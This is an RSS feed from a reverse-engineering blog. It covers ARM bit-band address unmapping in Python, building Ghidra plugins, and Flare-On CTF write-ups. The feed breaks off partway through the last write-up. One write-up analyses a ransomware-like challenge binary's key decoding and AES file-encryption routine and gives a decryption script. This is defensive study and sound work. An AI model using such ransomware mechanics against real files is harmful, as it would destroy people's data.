<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" 
  xmlns:content="http://purl.org/rss/1.0/modules/content/" 
  xmlns:dc="http://purl.org/dc/elements/1.1/" 
  xmlns:atom="http://www.w3.org/2005/Atom" 
  xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" 
  xmlns:media="http://search.yahoo.com/mrss/">
  <channel>
    <title>Ben&#39;s ideas and projects</title>
    <link>https://ben.the-collective.net/</link>
    <description>Recent content on Ben&#39;s ideas and projects</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <managingEditor>locutus@the-collective.net (Ben Mason)</managingEditor>
    <webMaster>locutus@the-collective.net (Ben Mason)</webMaster>
    <copyright>©2023, All Rights Reserved</copyright>
    <lastBuildDate>Tue, 15 Feb 2022 09:00:00 -0500</lastBuildDate>
    <sy:updatePeriod>daily</sy:updatePeriod>
    
        <atom:link href="https://ben.the-collective.net/index.xml" rel="self" type="application/rss+xml" />
    
      
      
      
        
      
        
      
        
      
        
      
        
      
        
      
        
      
        
      
        
      

      
      <item>
        <title>Reversing ARM Cortex-M Bit Band addresses</title>
        <link>https://ben.the-collective.net/posts/2022-02-15-reversing-arm-cortex-m-bit-band-addresses/</link>
        <pubDate>Tue, 15 Feb 2022 09:00:00 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Tue, 15 Feb 2022 09:00:00 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2022-02-15-reversing-arm-cortex-m-bit-band-addresses/</guid>
        <description>While reverse-engineering the firmware on the Digoo DG-HOSA device which I have a couple of posts on already. I ran across some memory addresses that did not directly map to peripherals. I found the address ranges are called the Bit-band range and had special functionality allowing direct access to individual bits on peripherals. This post will give a quick summary of what these addresses are and how to unmap them to the normal peripheral addresses.</description>
        <content:encoded>&lt;p&gt;While reverse-engineering the firmware on the &lt;a href=&#34;https://ben.the-collective.net/tag/digoo-dg-hosa/&#34;&gt;Digoo DG-HOSA device which I have a couple of posts on already&lt;/a&gt;. I ran across some memory addresses that did not directly map to peripherals. I found the address ranges are called the Bit-band range and had special functionality allowing direct access to individual bits on peripherals. This post will give a quick summary of what these addresses are and how to unmap them to the normal peripheral addresses.&lt;/p&gt;
&lt;h2 id=&#34;what-is-bit-banding&#34;&gt;What is Bit Banding?&lt;/h2&gt;
&lt;p&gt;The Bit Banding is a feature of the ARM Cortex-M3/M4 allowing you to directly access specific bits within the Peripheral and SRAM regions. Normally you need to write a whole register at a time even if you want to change a single bit. There are memory regions allocated for this purpose they are named “Bit band alias” in this snip of the Processor memory map table.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../reversing-arm-cortex-m-bit-band-addresses-images/Screen-Shot-2022-01-28-at-15.46.58.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
&lt;p&gt;From &lt;a href=&#34;https://www.keil.com/dd/docs/datashts/arm/cortex_m3/r2p0/ddi0337g_cortex_m3_r2p0_trm.pdf&#34;&gt;Cortex-M3 Technical Reference&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;To calculate the Bit band address for a specific bit on a port you use the following formula. This formula is also found in the &lt;a href=&#34;https://www.keil.com/dd/docs/datashts/arm/cortex_m3/r2p0/ddi0337g_cortex_m3_r2p0_trm.pdf&#34;&gt;Cortex-M3 Technical reference&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;bit_word_addr = bit_band_base + ((byte_offset x 32) + (bit_number × 4))&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;bit_word_offset&lt;/strong&gt; – position of the target bit in the bit-band memory region.&lt;br /&gt;
&lt;strong&gt;bit_word_addr&lt;/strong&gt; – address of the word in the alias memory region that maps to the targeted bit.&lt;br /&gt;
&lt;strong&gt;bit_band_base&lt;/strong&gt; – starting address of the alias region.&lt;br /&gt;
&lt;strong&gt;byte_offset&lt;/strong&gt; – number of the byte in the bit-band region that contains the targeted bit.&lt;br /&gt;
&lt;strong&gt;bit_number&lt;/strong&gt; – bit position (0-7) of the targeted bit.&lt;/p&gt;
&lt;p&gt;This was a quick introduction to bit banding if you are looking for more information check out his post which goes into great detail on this feature.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://atadiat.com/en/e-bit-banding-explained-a-feature-of-arm-cortex-m3/&#34;&gt;Bit-banding Explained: A Key Feature of ARM Cortex-M3/M4&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;now-to-reverse-a-bit-mapped-address&#34;&gt;Now to reverse a bit mapped address&lt;/h2&gt;
&lt;p&gt;Now that we how to forward map an address I wrote up some python code that takes in the address, unmaps it, and lists the original port and register information.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#!/usr/bin/python

def find_base_addr(bitmapped):
    if (0x22000000 &amp;lt; bitmapped and bitmapped &amp;lt; 0x23FFFFFF):
        bit_band_base = 0x22000000
        base_address = 0x20000000
    elif (0x42000000 &amp;lt; bitmapped and bitmapped &amp;lt; 0x43FFFFFF):
        bit_band_base = 0x42000000
        base_address = 0x40000000
    else:
        bit_band_base = 0
        base_address = 0
    return bit_band_base, base_address

def bitunmapper(bitmapped):
    bit_band_base, base_address = find_base_addr(bitmapped)
    unmap_port = int(((bitmapped - bit_band_base) &amp;amp; 0xfffff00) / 32)
    unmap_bits = int((bitmapped &amp;amp; 0x000000FF) / 4)
    if unmap_bits &amp;gt; 32:
        unmap_port += 0x4
        unmap_bits %= 32
    unmapped_address = base_address + int(unmap_port)
    
    print(&amp;#34;Base Address: &amp;#34; + hex(unmapped_address))
    print(&amp;#34;Port: &amp;#34; + hex(unmapped_address &amp;amp; 0xFFFFFF00))
    print(&amp;#34;Register: &amp;#34; + hex(unmapped_address &amp;amp; 0x000000FF))
    print(&amp;#34;Bit Map: &amp;#34; + str(int(unmap_bits)))

bitunmapper(0x4221811c)
bitunmapper(0x42218188) # GPIOB 2
bitunmapper(0x42218198) # GPIOB 6
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I have also created a Ghidra plugin using this code to quickly resolve these addresses when working through a binary. You can download it from this link:&lt;br /&gt;
&lt;a href=&#34;https://github.com/suidroot/ghidra_scripts/blob/main/arm-bit-unmapper.py&#34;&gt;https://github.com/suidroot/ghidra_scripts/blob/main/arm-bit-unmapper.py&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Finally, here is a couple of screenshots of the plugin in action.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../reversing-arm-cortex-m-bit-band-addresses-images/Screen-Shot-2022-02-13-at-15.02.19.png&#34; alt=&#34;Enter Address&#34; /&gt;&lt;br /&gt;
&lt;img src=&#34;../reversing-arm-cortex-m-bit-band-addresses-images/Screen-Shot-2022-02-13-at-15.02.53.png&#34; alt=&#34;Results in the console&#34; /&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Reversing-ARM-Cortex-M-Bit-Band-addresses.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>arm</category>
            
          
            
              <category>cortex-m</category>
            
          
            
              <category>ghidra</category>
            
          
            
              <category>python</category>
            
          
            
              <category>reverse engineering</category>
            
          
        
        
          
            
              <category>Reverse Engineering</category>
            
          
            
              <category>Electronics</category>
            
          
        
        
      </item>
      
      <item>
        <title>Compiling Ghidra Plugins</title>
        <link>https://ben.the-collective.net/posts/2022-01-18-compiling-ghidra-plugins/</link>
        <pubDate>Tue, 18 Jan 2022 09:00:00 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Tue, 18 Jan 2022 09:00:00 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2022-01-18-compiling-ghidra-plugins/</guid>
        <description>Recently I found a Ghidra plugin that did not have a build for the current version for Ghidra I was using, and this motivated me to figure out how to build a plugin from its source. After looking around, I did not find many writeups on building existing plugins. This writeup covers both building out the development environment that could be used for writing plugins and extending Ghidra itself and then how to compile the plugin.</description>
        <content:encoded>&lt;p&gt;Recently I found a Ghidra plugin that did not have a build for the current version for Ghidra I was using, and this motivated me to figure out how to build a plugin from its source. After looking around, I did not find many writeups on building existing plugins. This writeup covers both building out the development environment that could be used for writing plugins and extending Ghidra itself and then how to compile the plugin.&lt;/p&gt;
&lt;h2 id=&#34;create-build-environment&#34;&gt;Create Build Environment&lt;/h2&gt;
&lt;p&gt;The first thing you will need to do is create a development environment for compiling the plugin. I found this fantastic article from Void Start Security describing creating a Ghidra development environment using the ghidra-builder Docker container and helper scripts. I made a fork for the repo, integrating the article’s changes and other enhancements. This makes it pretty to create an image used moving forward. Here are the commands I used.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Clone the repository
$ git clone https://github.com/suidroot/ghidra-builder.git
$ cd ghidra-builder
# Build the Docker image
$ docker-tpl/build
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After the Docker image build completed, you will have two options building the plugin; you can build against the Dev source tree or the Public release. First, I will cover the Public build preparation steps.&lt;/p&gt;
&lt;h2 id=&#34;prepare-for-a-public-build&#34;&gt;Prepare for a Public Build&lt;/h2&gt;
&lt;p&gt;Building a plugin against the current Public build is pretty straightforward. First, you will download the current archive from the NSA Github and extract it to a folder you will create named &lt;strong&gt;out&lt;/strong&gt; in the &lt;strong&gt;ghidra-builder&lt;/strong&gt; folder structure. In my example, I saved the file to the ‘&lt;strong&gt;Downloads&lt;/strong&gt;‘ folder in my home directory. The example commands I ran are:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Starting in the root of the ghidra-builder folder
$ mkdir out &amp;amp;&amp;amp; cd out 
# Downloaded the current Public release to Downloads
$ cp ~/Downloads/ghidra_10.1.1_PUBLIC_20211221.zip .
$ unzip ghidra_10.1.1_PUBLIC_20211221.zip 
Archive:  ghidra_10.1.1_PUBLIC_20211221.zip

.... snip...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The following section covers creating a development archive of Ghidra.&lt;/p&gt;
&lt;h2 id=&#34;prepare-for-a-dev-build&#34;&gt;Prepare for a Dev Build&lt;/h2&gt;
&lt;p&gt;To make a Dev build of a plugin, you will first need to make a development build of Ghidra. The script &lt;strong&gt;build_ghidra.sh&lt;/strong&gt; (part of this container) automatically clones from the GitHub repository, builds the source and places an archive in the &lt;strong&gt;out&lt;/strong&gt; folder.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ cd workdir
$ ../docker-tpl/run ./build_ghidra.sh
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After the build of Ghidra has been completed successfully, you will need to expand the archive created by the build into the &lt;strong&gt;out&lt;/strong&gt; folder.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ cd out/
$ ls
ghidra_10.1.1_DEV_20220103_linux_x86_64.zip
$ unzip ghidra_10.1.1_DEV_20220103_linux_x86_64.zip 
Archive:  ghidra_10.1.1_DEV_20220103_linux_x86_64.zip
   creating: ghidra_10.1.1_DEV/
... snip ...
  inflating: ghidra_10.1.1_DEV/Extensions/Ghidra/ghidra_10.1.1_DEV_20220103_SleighDevTools.zip  
   creating: ghidra_10.1.1_DEV/Ghidra/Extensions/
$ cd ..
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now that we have the environment setup, we can build the plugin from its source.&lt;/p&gt;
&lt;h2 id=&#34;build-the-plugin&#34;&gt;Build the plugin&lt;/h2&gt;
&lt;p&gt;I initially found these instructions in &lt;a href=&#34;https://wrongbaud.github.io/posts/ghidra-debugger/#building-the-rom-loader&#34;&gt;wrongbaud’s posts about plugin development&lt;/a&gt;. In the &lt;strong&gt;out&lt;/strong&gt; directory, you will need to clone or download the source of the plugin you are building. The connect to a shell in the Docker container and navigate into the source directory for the plugin. Then set the location of the Ghidra build’s directory you prepared earlier in a shell environment variable. Finally, execute the gradle command to build the plugin.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ cd out
$ git clone https://github.com/felberj/gotools.git
Cloning into &amp;#39;gotools&amp;#39;...
remote: Enumerating objects: 146, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 146 (delta 0), reused 1 (delta 0), pack-reused 143
Receiving objects: 100% (146/146), 38.12 KiB | 424.00 KiB/s, done.
Resolving deltas: 100% (45/45), done.
$ ../docker-tpl/run /bin/bash
+++ dirname ../docker-tpl/run
++ cd ../docker-tpl
++ pwd
+ start_dir=/home/locutus/src/ghidra-builder/docker-tpl
+ build_command=/bin/bash
+ image=dukebarman/ghidra-builder
+ docker run -it -v /home/locutus/src/ghidra-builder/workdir:/files -w /files --user dockerbot:dockerbot --rm dukebarman/ghidra-builder sh -c /bin/bash
dockerbot@c7310895154d:/files$ cd gotools/
dockerbot@c7310895154d:/files/gotools$ export GHIDRA_INSTALL_DIR=/files/out/ghidra_10.1.1_DEV/
dockerbot@c7310895154d:/files/gotools$ gradle

Welcome to Gradle 7.3!

.... snip ....

BUILD SUCCESSFUL in 56s
7 actionable tasks: 7 executed
dockerbot@c7310895154d:/files/gotools$ ls dist/
ghidra_10.1.1_DEV_20220103_gotools.zip
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now you have built the plugin for the version of Ghidra! You can install the zip archive in the version of Ghidra you are running that you built for or are using.&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Compiling-Ghidra-Plugins.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>ghidra</category>
            
          
            
              <category>reverse engineering</category>
            
          
        
        
          
            
              <category>Reverse Engineering</category>
            
          
        
        
      </item>
      
      <item>
        <title>Flare-on 5 - 1</title>
        <link>https://ben.the-collective.net/posts/2021-04-27-flare-on-5-1/</link>
        <pubDate>Tue, 27 Apr 2021 09:00:00 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Tue, 27 Apr 2021 09:00:00 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2021-04-27-flare-on-5-1/</guid>
        <description>This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
Starting off the 5 series of challenges we have a very simple password challenge, when extracting the archive you have one file extracted.
MinesweeperChampionshipRegistration.jar: Java archive data (JAR) When running the file, you are prompted for an invitation code. I unzipped the jar file finding the metadata and a class file.</description>
        <content:encoded>&lt;p&gt;This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found &lt;a href=&#34;https://ben.the-collective.net/project-flareon/&#34;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Starting off the 5 series of challenges we have a very simple password challenge, when extracting the archive you have one file extracted.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;MinesweeperChampionshipRegistration.jar: Java archive data (JAR)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&#34;../2021-04-27-flare-on-5-1-images/Screen-Shot-2021-03-18-at-12.21.33.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
&lt;p&gt;When running the file, you are prompted for an invitation code. I unzipped the jar file finding the metadata and a class file. I ran strings on the class file and was able to see the flag in plain text in the file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-04-27-flare-on-5-1-images/Screen-Shot-2021-03-18-at-12.21.51.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
&lt;p&gt;After entering the flag shown in strings into the prompt it is validated!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-04-27-flare-on-5-1-images/Screen-Shot-2021-03-18-at-12.21.24.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Flare-on-Template3.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>ctf</category>
            
          
            
              <category>flare-on</category>
            
          
            
              <category>reverse engineering</category>
            
          
        
        
          
            
              <category>Reverse Engineering</category>
            
          
        
        
      </item>
      
      <item>
        <title>Flare-on 3 - Challenge 2</title>
        <link>https://ben.the-collective.net/posts/2021-04-20-flare-on-3-challenge-2/</link>
        <pubDate>Tue, 20 Apr 2021 09:00:00 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Tue, 20 Apr 2021 09:00:00 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2021-04-20-flare-on-3-challenge-2/</guid>
        <description>This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
The archive for this challenge included 2 files.
BusinessPapers.doc: data
DudeLocker.exe: PE32 executable (console) Intel 80386, for MS Windows
I first took a look at the .doc file and it looks to be random data.
After doing some initial analysis on the executable file, I found many references to encryption routines in the imports.</description>
        <content:encoded>&lt;p&gt;This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found &lt;a href=&#34;https://ben.the-collective.net/project-flareon/&#34;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The archive for this challenge included 2 files.&lt;/p&gt;
&lt;p&gt;BusinessPapers.doc: data&lt;br /&gt;
DudeLocker.exe: PE32 executable (console) Intel 80386, for MS Windows&lt;/p&gt;
&lt;p&gt;I first took a look at the .doc file and it looks to be random data.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-04-20-flare-on-3-challenge-2/Screen-Shot-2021-03-21-at-20.37.50.png&#34; alt=&#34;BusinessPapers.doc&#34; /&gt;&lt;br /&gt;
After doing some initial analysis on the executable file, I found many references to encryption routines in the imports. This program looks to act like ransomware. Diving into the functionality, the program first looks for a directory named “Briefcase.”&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-04-20-flare-on-3-challenge-2/Screen-Shot-2021-02-27-at-15.36.26-1.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
&lt;img src=&#34;../2021-04-20-flare-on-3-challenge-2/Screen-Shot-2021-02-27-at-15.36.38.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
If it can not open the directory, it jumps to an error accusing the person of being a reverse engineer!&lt;/p&gt;
&lt;p&gt;After it validates, it can open the directory properly; a routine is called checking the drive’s serial number looking for a specific value. If the value doesn’t match, the program errors out. If the hard drive’s serial number matches, it jumps to the routine to decode the encryption key. The drive’s serial number and a pointer, the encoded data stored in the .data section, are passed into the mw_decode_key function.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-04-20-flare-on-3-challenge-2/flareon-3-2-serial-decode-key.jpg&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The mw_decode_key function does what I have named it, it decodes the key used in the data encryption. It uses a simple xor loop to decode the key.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-04-20-flare-on-3-challenge-2/Screen-Shot-2021-02-27-at-15.39.13.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Now that we have the key decoded it is time for the program to set up and execute the encryption routines. As a way to summarize the overall process, I have created the following diagram showing the connections between all of the functions. The boxes colored in blue are handles to data structures and the boxes in green are variables containing a value. The first step in the entire process to set up the Provider which acts as a glue between the key generation functions. From here let us go through each box in numbered order.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-04-20-flare-on-3-challenge-2/Screen-Shot-2021-02-27-at-15.08.13.png&#34; alt=&#34;&#34; /&gt;Section 1 is used first to create a Hash of the key based on the SHA1 algorithm. Next, it takes this Hash and derives an AES256 key from the Hash and stores it the Key Handle. The key finally has its mode set a CBC cipher.&lt;/p&gt;
&lt;p&gt;Section 2 is used to create the IV portion of the key. This is derived from an MD5 hash of the name of the file. This section writes the data to a Hash Handle then copies it out of the handle into the KP_IV parameter of the Key Handle created in section 1.&lt;/p&gt;
&lt;p&gt;Finally, in section 3, where files are encrypted, the original file is opened and read into a File Buffer which is then read by the CryptEncrypt function that reads the Key Handle and executes the encryption writing it back to the buffer. The buffer is then written back to the original File Handler, overwriting the data on disk.&lt;/p&gt;
&lt;p&gt;After looking over all of this crypto routine and using a debugger to extract both the main AES key and the IV key values, I created a decryption script in python to extract what I had assumed is encrypted data in the BusinessFiles.doc file. The following script uses the wincrypto and cryptodome packages to more or less follow the process I just outlined instead, decrypting the data.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# need wincrypto and cryptodome packages

from Crypto.Cipher import AES
from Crypto.Hash import MD5
from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey
from wincrypto.constants import CALG_SHA1, CALG_AES_256
import magic

encryted = &amp;#39;BusinessPapers.doc&amp;#39;
encypted_data = open(encryted, &amp;#39;rb&amp;#39;).read()

key = b&amp;#39;thosefilesreallytiedthefoldertogether&amp;#39;
md5_clear = bytes(encryted.lower(),&amp;#34;UTF-8&amp;#34;)

# Derive Key
sha1_hasher = CryptCreateHash(CALG_SHA1)
CryptHashData(sha1_hasher, key)
d_key = CryptDeriveKey(sha1_hasher, CALG_AES_256)

# Create IV data
iv = MD5.new()
iv.update(md5_clear)

aes = AES.new(d_key.key, AES.MODE_CBC, iv=bytes.fromhex(iv.hexdigest()))
decd = aes.decrypt(encypted_data)

print (decd[:20])
print(magic.from_buffer(decd))

hFireWrite = open(&amp;#34;test.bin&amp;#34;, &amp;#39;wb&amp;#39;)
hFireWrite.write(decd)
hFireWrite.close()
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The output of this script writes the data to disk and provides a preview of the first 20 bytes and the magic block info from the data.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;b&amp;#39;\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00H\x00H\x00\x00&amp;#39;
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=8, manufacturer=Minolta Co., Ltd., model=DiMAGE G500, orientation=upper-left, xresolution=140, yresolution=148, resolutionunit=2], baseline, precision 8, 576x410, components 3
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Success we have found the flag!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-04-20-flare-on-3-challenge-2/test.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
&lt;h2 id=&#34;post-script&#34;&gt;Post-Script&lt;/h2&gt;
&lt;p&gt;&lt;img src=&#34;../2021-04-20-flare-on-3-challenge-2/Screen-Shot-2021-03-17-at-23.54.57.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
A funny feature of this challenge is that it leaves a ransom note. The note is an image in the resources section of the file. This image is extracted and written to the disk. Then it set the wallpaper using the SystemParametersInfoW API call.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-04-20-flare-on-3-challenge-2/image.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Flare-on-Template2.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>ctf</category>
            
          
            
              <category>encryption</category>
            
          
            
              <category>flare-on</category>
            
          
            
              <category>python</category>
            
          
            
              <category>reverse engineering</category>
            
          
        
        
          
            
              <category>Reverse Engineering</category>
            
          
        
        
      </item>
      
      <item>
        <title>Flare-On 3 - Challenges 1</title>
        <link>https://ben.the-collective.net/posts/2021-03-23-flare-on-3-challenges-1/</link>
        <pubDate>Tue, 23 Mar 2021 09:00:00 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Tue, 23 Mar 2021 09:00:00 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2021-03-23-flare-on-3-challenges-1/</guid>
        <description>This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
This challenge is like a lot of the first levels is a password challenge decoding challenges. In the next screenshot, you can see what happens when you run the executable.
I opened the binary up in IDA and found the main function. The Main function starts off setting up handles to read input and loading a string from the .</description>
        <content:encoded>&lt;p&gt;This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found &lt;a href=&#34;https://ben.the-collective.net/project-flareon/&#34;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This challenge is like a lot of the first levels is a password challenge decoding challenges. In the next screenshot, you can see what happens when you run the executable.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-03-23-flare-on-3-challenges-1-images/Screen-Shot-2021-03-17-at-21.42.32.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
I opened the binary up in IDA and found the main function. The Main function starts off setting up handles to read input and loading a string from the .rdata section to a local variable.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-03-23-flare-on-3-challenges-1-images/Screen-Shot-2021-02-22-at-21.22.31.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Taking a look at the string that is loaded, it looks like to be some encoded text. I guess that it is more than likely the password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-03-23-flare-on-3-challenges-1-images/Screen-Shot-2021-02-22-at-21.22.07.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Back to the main function, after collecting the inputted password guess from the command line, it takes the inputted string and runs a function to encode it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-03-23-flare-on-3-challenges-1-images/Screen-Shot-2021-03-17-at-22.35.20.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Looking at the encoder function I found what looks like a non-standard Base64 character set.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-03-23-flare-on-3-challenges-1-images/Screen-Shot-2021-02-22-at-21.24.02.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
I took the custom Base64, the encoded string I found earlier, and entered them into &lt;a href=&#34;https://gchq.github.io/CyberChef/&#34;&gt;CyberChef&lt;/a&gt; to decode the string. It returns what looks to be the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-03-23-flare-on-3-challenges-1-images/Screen-Shot-2021-02-22-at-21.20.15.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
To be sure I re-ran the challenge and enter the output and bingo it validates the flag!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-03-23-flare-on-3-challenges-1-images/Screen-Shot-2021-03-17-at-21.44.38.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Flare-on-Template1.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>ctf</category>
            
          
            
              <category>flare-on</category>
            
          
            
              <category>reverse engineering</category>
            
          
        
        
          
            
              <category>Reverse Engineering</category>
            
          
        
        
      </item>
      
      <item>
        <title>Flare-on 2 - Challenge 5</title>
        <link>https://ben.the-collective.net/posts/2021-03-02-flare-on-2-challenge-5/</link>
        <pubDate>Tue, 02 Mar 2021 09:00:00 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Tue, 02 Mar 2021 09:00:00 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2021-03-02-flare-on-2-challenge-5/</guid>
        <description>This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
This challenge includes two files, a packet capture formatted in PCAP format and a Windows binary.
Opening up the PCAP in Wireshark, I found multiple HTTP streams submitting POST requests. I looked at each of these POST requests and saw they all have a few bytes of content.</description>
        <content:encoded>&lt;p&gt;This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found &lt;a href=&#34;https://ben.the-collective.net/project-flareon/&#34;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This challenge includes two files, a packet capture formatted in PCAP format and a Windows binary.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-03-02-flare-on-2-challenge-5-images/Screen-Shot-2021-01-29-at-00.04.08.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Opening up the PCAP in Wireshark, I found multiple HTTP streams submitting POST requests. I looked at each of these POST requests and saw they all have a few bytes of content.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-03-02-flare-on-2-challenge-5-images/Screen-Shot-2021-01-28-at-23.13.54-1.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
I copied the data from each of these HTTP POST requests and found what looked like a Base64 encoded string.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;UDYs1D7bNmdE1o3g5ms1V6RrYCVvODJF1DqxKTxAJ9xuZW=
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&#34;../2021-03-02-flare-on-2-challenge-5-images/Screen-Shot-2021-01-28-at-23.30.29.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
When I attempted to decode it using standard Base64 character sets I did not find any recognizable data. I knew that it wouldn’t be that easy.&lt;/p&gt;
&lt;p&gt;Looking at the strings in the binary, I found two interesting strings, “flarebearstare” which could be a password, and another string that looks like a Base64 alphabet with the uppercase and lower case sections swapped in order.&lt;/p&gt;
&lt;p&gt;I following the cross-reference for the “flarebearstare” string, finding a function with a data decoder loop. This function is passed data and loops through each byte, subtracting each character in order of “flarebearstare” from the current byte.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-03-02-flare-on-2-challenge-5-images/Screen-Shot-2021-01-28-at-23.30.53-1.png&#34; alt=&#34;Decoder function&#34; /&gt;&lt;br /&gt;
